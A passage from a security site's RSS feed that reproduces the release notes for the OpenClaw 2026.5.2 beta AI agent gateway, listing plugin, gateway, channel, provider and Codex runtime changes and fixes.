External plugin installation now covers diagnostics, onboarding, doctor repair, channel setup, install/update records, and artifact metadata while keeping bare package installs on npm for the first cutover. Thanks @vincentkoc.
Gateway startup, session listing, task maintenanc...]]></description>
<link>https://tsecurity.de/de/3482880/downloads/openclaw-202652-beta3/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3482880/downloads/openclaw-202652-beta3/</guid>
<pubDate>Sun, 03 May 2026 00:16:39 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>2026.5.2</h2>
<h3>Highlights</h3>
<ul>
<li>External plugin installation now covers diagnostics, onboarding, doctor repair, channel setup, install/update records, and artifact metadata while keeping bare package installs on npm for the first cutover. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Gateway startup, session listing, task maintenance, prompt prep, plugin loading, and filesystem hot paths get targeted cache and fanout reductions for large or plugin-heavy installs.</li>
<li>Control UI and WebChat reliability improves across Sessions, Cron, long-running Gateway WebSockets, grouped-message width, slash-command feedback, iOS PWA bounds, selection contrast, and Talk diagnostics.</li>
<li>Channel and provider fixes cover Telegram topic commands and networking, Discord delivery and startup edge cases, OpenAI-compatible TTS/Realtime, OpenRouter/DeepSeek replay, Anthropic-compatible streaming, Brave/SearXNG/Firecrawl web search, and voice-call routing.</li>
</ul>
<h3>Changes</h3>
<ul>
<li>
<p>Gateway/startup: skip plugin-backed auth-profile overlays during startup secrets preflight, reducing gateway readiness latency while keeping reload and OAuth recovery paths overlay-capable. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4285812464" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68327" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/68327/hovercard" href="https://github.com/openclaw/openclaw/pull/68327">#68327</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JIRBOY/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JIRBOY">@JIRBOY</a>.</p>
</li>
<li>
<p>Plugins/ClawHub: make diagnostics, onboarding, doctor repair, and channel setup carry ClawPack metadata through install records while keeping explicit <code>clawhub:</code> installs on ClawHub and bare package installs on npm for the launch cutover. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/CLI: include package dependency install state in <code>openclaw plugins list --json</code> so scripts can spot missing plugin dependencies without runtime-loading plugins.</p>
</li>
<li>
<p>Plugins/runtime: scope broad runtime preloads to the effective plugin ids derived from config, startup planning, configured channels, slots, and auto-enable rules instead of importing every discoverable plugin.</p>
</li>
<li>
<p>Agents/runtime: reuse the startup-loaded plugin registry for request-time providers, tools, channel actions, web/capability/memory/migration helpers, and memoized provider extra-params so stable embedded-run inputs no longer repeat plugin registry resolution while model-specific transport hook patches stay isolated. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DmitryPogodaev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DmitryPogodaev">@DmitryPogodaev</a>.</p>
</li>
<li>
<p>Agents/runtime: memoize transcript replay-policy resolution for stable config and process-env runs while preserving custom-env provider hook behavior. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DmitryPogodaev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DmitryPogodaev">@DmitryPogodaev</a>.</p>
</li>
<li>
<p>Infra/path-guards: add a fast path for canonical absolute POSIX containment checks, avoiding repeated <code>path.resolve</code> and <code>path.relative</code> work in hot filesystem walkers. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367529908" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75895" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75895/hovercard" href="https://github.com/openclaw/openclaw/issues/75895">#75895</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363840300" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75575" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75575/hovercard" href="https://github.com/openclaw/openclaw/issues/75575">#75575</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4289737301" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68782" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68782/hovercard" href="https://github.com/openclaw/openclaw/issues/68782">#68782</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Enderfga/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Enderfga">@Enderfga</a>.</p>
</li>
<li>
<p>Tools: add a platform-level tool descriptor planner for descriptor-first visibility, generic availability checks, and executor references. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>Plugins/tools: cache plugin tool descriptors captured from <code>api.registerTool(...)</code> so repeated prompt-time planning can skip plugin runtime loading while execution still loads the live plugin tool. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368991903" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76079" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76079/hovercard" href="https://github.com/openclaw/openclaw/pull/76079">#76079</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>Docs/Codex: clarify that ChatGPT/Codex subscription setups should use <code>openai/gpt-*</code> with <code>agentRuntime.id: "codex"</code> for native Codex runtime, while <code>openai-codex/*</code> remains the PI OAuth route. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</p>
</li>
<li>
<p>Plugins/source checkout: load bundled plugins from the <code>extensions/*</code> pnpm workspace tree in source checkouts, so plugin-local dependencies and edits are used directly while packaged installs keep using the built runtime tree. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/beta: externalize ACPX behind the official <code>@openclaw/acpx</code> package so packaged installs keep ACP harness adapter binaries out of core until the ACP backend is installed. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/beta: externalize diagnostics OpenTelemetry behind the official <code>@openclaw/diagnostics-otel</code> package so packaged installs keep the OTEL dependency stack out of core until the plugin is installed. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/beta: prepare Google Chat, LINE, Matrix, and Mattermost for <code>2026.5.1-beta.2</code> npm and ClawHub publishing, and keep publishable plugin dist trees out of the core npm package. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/beta: prepare BlueBubbles, diagnostics Prometheus, Google Meet, Nextcloud Talk, Nostr, Zalo, and Zalo Personal for <code>2026.5.1-beta.2</code> npm and ClawHub publishing. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/beta: prepare diagnostics OpenTelemetry, Discord, Diffs, Lobster, Memory LanceDB, Microsoft Teams, QQ Bot, Voice Call, and WhatsApp for <code>2026.5.1-beta.1</code> npm and ClawHub publishing. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/beta: prepare Brave, Codex, Feishu, Synology Chat, Tlon, and Twitch for <code>2026.5.1-beta.1</code> npm and ClawHub publishing. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Providers/xAI: add Grok 4.3 to the bundled catalog and make it the default xAI chat model.</p>
</li>
<li>
<p>Google Meet: let API-created rooms set <code>accessType</code> and <code>entryPointAccess</code>, and add <code>googlemeet end-active-conference</code> for closing managed spaces after a call. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355261280" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74824" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74824/hovercard" href="https://github.com/openclaw/openclaw/pull/74824">#74824</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BsnizND/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BsnizND">@BsnizND</a>.</p>
</li>
<li>
<p>Google Meet: add <code>googlemeet test-listen</code> and the matching <code>google_meet</code> <code>test_listen</code> action so transcribe-mode joins wait for real caption or transcript movement before reporting listen-first health. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332551182" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72478" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72478/hovercard" href="https://github.com/openclaw/openclaw/issues/72478">#72478</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DougButdorf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DougButdorf">@DougButdorf</a>.</p>
</li>
<li>
<p>Plugins/ClawHub: prefer versioned ClawPack artifacts when ClawHub publishes digest metadata, verifying the ClawPack response header and downloaded bytes before installing. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/ClawHub: persist ClawPack digest metadata on ClawHub plugin install and update records so registry refreshes and download verification can reuse stored artifact facts. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/ClawHub: allow official bundled-plugin cutovers to record ClawHub artifact metadata while preserving npm as the launch default for bare package specs. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/onboarding: allow install-on-demand provider setup entries to persist ClawHub artifact metadata after explicit ClawHub installs while retaining npm/local fallback paths. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/Crestodian: add ClawHub plugin search plus Crestodian plugin list/search/install/uninstall operations, with approval and audit coverage for install and uninstall.</p>
</li>
<li>
<p>Channels/thread bindings: replace split subagent/ACP thread-spawn toggles with <code>threadBindings.spawnSessions</code>, default thread-bound spawns on, and let <code>openclaw doctor --fix</code> migrate the legacy keys. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367850512" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75943" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75943/hovercard" href="https://github.com/openclaw/openclaw/pull/75943">#75943</a>)</p>
</li>
<li>
<p>Providers/OpenAI: add <code>extraBody</code>/<code>extra_body</code> passthrough for OpenAI-compatible TTS endpoints, so custom speech servers can receive fields such as <code>lang</code> in <code>/audio/speech</code> requests. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4041341848" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/39900" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/39900/hovercard" href="https://github.com/openclaw/openclaw/issues/39900">#39900</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/R3NK0R/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/R3NK0R">@R3NK0R</a>.</p>
</li>
<li>
<p>Dependencies: refresh workspace dependency pins, including TypeBox 1.1.37, AWS SDK 3.1041.0, Microsoft Teams 2.0.9, and Marked 18.0.3. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mariozechner/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mariozechner">@mariozechner</a>, <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/aws/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aws">@aws</a>, and <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/microsoft/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/microsoft">@microsoft</a>.</p>
</li>
<li>
<p>Discord/channels: add reusable message-channel access groups plus Discord channel-audience DM authorization, so allowlists can reference <code>accessGroup:&lt;name&gt;</code> across channel auth paths. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4366657956" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75813" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75813/hovercard" href="https://github.com/openclaw/openclaw/pull/75813">#75813</a>)</p>
</li>
<li>
<p>Crabbox/scripts: print the selected Crabbox binary, version, and supported providers before <code>pnpm crabbox:*</code> commands, and reject stale binaries that lack <code>blacksmith-testbox</code> provider support.</p>
</li>
<li>
<p>Agents/Codex: add committed happy-path prompt snapshots for Codex/message-tool Telegram direct, Discord group, and heartbeat turns so prompt drift can be reviewed. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</p>
</li>
<li>
<p>Dependencies: refresh bundled runtime and plugin dependency pins, including Pi 0.71.1, OpenAI 6.35.0, Codex 0.128.0, Zod 4.4.1, and Matrix 41.4.0. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mariozechner/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mariozechner">@mariozechner</a>.</p>
</li>
<li>
<p>Agents/workspace: add <code>agents.defaults.skipOptionalBootstrapFiles</code> for skipping selected optional workspace files during bootstrap without disabling required workspace setup. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4213876746" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62110" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/62110/hovercard" href="https://github.com/openclaw/openclaw/pull/62110">#62110</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mainstay22/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mainstay22">@mainstay22</a>.</p>
</li>
<li>
<p>Plugins/CLI: add first-class <code>git:</code> plugin installs with ref checkout, commit metadata, normal scanner/staging, and <code>plugins update</code> support for recorded git sources. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/badlogic/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/badlogic">@badlogic</a>.</p>
</li>
<li>
<p>Google Meet: add live caption health for Chrome transcribe mode, including caption observer state, transcript counters, last caption text, and recent transcript lines in status and doctor output. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332551182" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72478" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72478/hovercard" href="https://github.com/openclaw/openclaw/issues/72478">#72478</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DougButdorf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DougButdorf">@DougButdorf</a>.</p>
</li>
<li>
<p>Voice Call/Google Meet: add Twilio Meet join phase logs around pre-connect DTMF, realtime stream setup, and initial greeting handoff for easier live-call debugging. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/donkeykong91/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/donkeykong91">@donkeykong91</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PfanP/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PfanP">@PfanP</a>.</p>
</li>
<li>
<p>macOS app: move recent session context rows into a Context submenu while keeping usage and cost details root-level, so the menu bar companion stays compact with many active sessions. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Guti/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Guti">@Guti</a>.</p>
</li>
<li>
<p>Gateway/SDK: add SDK-facing tools.invoke RPC with shared HTTP policy, typed approval/refusal results, and SDK helper support. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354626015" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74705" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74705/hovercard" href="https://github.com/openclaw/openclaw/issues/74705">#74705</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ai-hpc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ai-hpc">@ai-hpc</a>.</p>
</li>
<li>
<p>Discord: keep active buttons, selects, and forms working across Gateway restarts until they expire, so multi-step Discord interactions are less likely to break during upgrades or restarts. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</p>
</li>
<li>
<p>Messages/docs: clarify that <code>BodyForAgent</code> is the primary inbound model text while <code>Body</code> is the legacy envelope fallback, and add Signal coverage so channel hardening patches target the real prompt path. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4258357958" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66198" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/66198/hovercard" href="https://github.com/openclaw/openclaw/pull/66198">#66198</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/defonota3box/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/defonota3box">@defonota3box</a>.</p>
</li>
<li>
<p>Slack: publish a safe default App Home tab view on <code>app_home_opened</code> and include the Home tab event in setup manifests. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3911903854" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/11655" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/11655/hovercard" href="https://github.com/openclaw/openclaw/issues/11655">#11655</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4114456932" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/52020" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/52020/hovercard" href="https://github.com/openclaw/openclaw/issues/52020">#52020</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TinyTb/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TinyTb">@TinyTb</a>.</p>
</li>
<li>
<p>Slack: keep track of bot-participated threads across restarts, so ongoing threaded conversations can continue auto-replying after the Gateway is restarted. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</p>
</li>
<li>
<p>Control UI/Usage: add UTC quarter-hour token buckets for the Usage Mosaic and reuse them for hour filtering, keeping the legacy session-span fallback for older summaries. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4350628281" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74337" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74337/hovercard" href="https://github.com/openclaw/openclaw/pull/74337">#74337</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/konanok/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/konanok">@konanok</a>.</p>
</li>
<li>
<p>BlueBubbles: add opt-in <code>channels.bluebubbles.replyContextApiFallback</code> that fetches the original message from the BlueBubbles HTTP API when the in-memory reply-context cache misses (multi-instance deployments sharing one BB account, post-restart, after long-lived TTL/LRU eviction). Off by default; channel-level setting propagates to accounts that omit the flag through <code>mergeAccountConfig</code>; routed through the typed <code>BlueBubblesClient</code> so every fetch is SSRF-guarded by the same three-mode policy as every other BB client request; reply-id shape is validated and part-index prefixes (<code>p:0/&lt;guid&gt;</code>) are stripped before the request; concurrent webhooks for the same <code>replyToId</code> coalesce into one fetch and successful responses populate the reply cache for subsequent hits. Also promotes BlueBubbles attachment download failures from verbose to runtime error so silently-dropped inbound images are visible at default log level, and extends <code>sanitizeForLog</code> to redact <code>?password=…</code>/<code>?token=…</code> query params and <code>Authorization:</code> headers before they reach the log sink (CWE-532). (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329493815" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71820" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71820/hovercard" href="https://github.com/openclaw/openclaw/pull/71820">#71820</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/coletebou/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/coletebou">@coletebou</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zqchris/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zqchris">@zqchris</a>.</p>
</li>
<li>
<p>CLI/proxy: add <code>openclaw proxy validate</code> so operators can verify effective proxy configuration, proxy reachability, and expected allow/deny destination behavior before deploying proxy-routed OpenClaw commands. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341892839" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73438" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73438/hovercard" href="https://github.com/openclaw/openclaw/pull/73438">#73438</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jesse-merhi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jesse-merhi">@jesse-merhi</a>.</p>
</li>
<li>
<p>Agents/Codex: default Codex app-server dynamic tools to native-first, keeping OpenClaw integration tools while leaving file, patch, exec, and process ownership to the Codex harness. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361939028" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75308" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75308/hovercard" href="https://github.com/openclaw/openclaw/pull/75308">#75308</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</p>
</li>
<li>
<p>Agents/Codex: default Codex-harness direct source replies to the OpenClaw <code>message</code> tool when visible reply delivery is not explicitly configured, keeping channel-visible output as a deliberate tool call. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4365795107" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75765" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75765/hovercard" href="https://github.com/openclaw/openclaw/pull/75765">#75765</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</p>
</li>
<li>
<p>Heartbeats/agents: add a structured <code>heartbeat_respond</code> tool for tool-capable heartbeat runs so agents can record quiet outcomes or explicit notification text without relying only on <code>HEARTBEAT_OK</code> parsing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4365795107" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75765" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75765/hovercard" href="https://github.com/openclaw/openclaw/pull/75765">#75765</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</p>
</li>
<li>
<p>Gateway/config: allow <code>$include</code> directives to read files from operator-approved <code>OPENCLAW_INCLUDE_ROOTS</code> directories while preserving default config-directory confinement. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ificator/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ificator">@ificator</a>.</p>
</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>
<p>Agents/OpenAI: default GPT-5 API-key sessions to the SSE Responses transport unless WebSocket is explicitly selected, restoring replies in fresh Control UI and WebChat beta installs where the auto WebSocket path connected but produced no model events.</p>
</li>
<li>
<p>Agents/sessions: preserve terminal lifecycle state when final run metadata persists from a stale in-memory snapshot, preventing sessions from staying stuck as running after completed or timed-out turns.</p>
</li>
<li>
<p>Gateway/CLI: make <code>openclaw gateway start</code> repair stale managed service definitions that point at old OpenClaw versions, missing binaries, or temporary installer paths before starting.</p>
</li>
<li>
<p>Updates/plugins: keep packaged upgrades and beta external plugin installs on stable runtime aliases and matching prerelease npm specs, avoiding stale WebChat runtime chunks and old Twitch packages after upgrading from 2026.4.29.</p>
</li>
<li>
<p>Codex/app-server: resolve managed binaries from bundled <code>dist</code> chunks and from the <code>@openai/codex</code> package bin when installs do not provide a nearby <code>.bin/codex</code> shim, avoiding false missing-binary startup failures.</p>
</li>
<li>
<p>Status: show the <code>openai-codex</code> OAuth profile for <code>openai/gpt-*</code> sessions running through the native Codex runtime instead of reporting auth as unknown. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4369662899" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76197" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76197/hovercard" href="https://github.com/openclaw/openclaw/pull/76197">#76197</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mbelinky/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mbelinky">@mbelinky</a>.</p>
</li>
<li>
<p>Plugins/ClawHub: use the ClawHub artifact resolver response as the install decision before downloading, keeping legacy ZIP fallback and future ClawPack npm-pack installs on the same explicit resolver path. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/ClawHub: keep bare plugin package specs on npm for the launch cutover and reserve ClawHub resolution for explicit <code>clawhub:</code> specs until ClawHub pack readiness is deployed. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
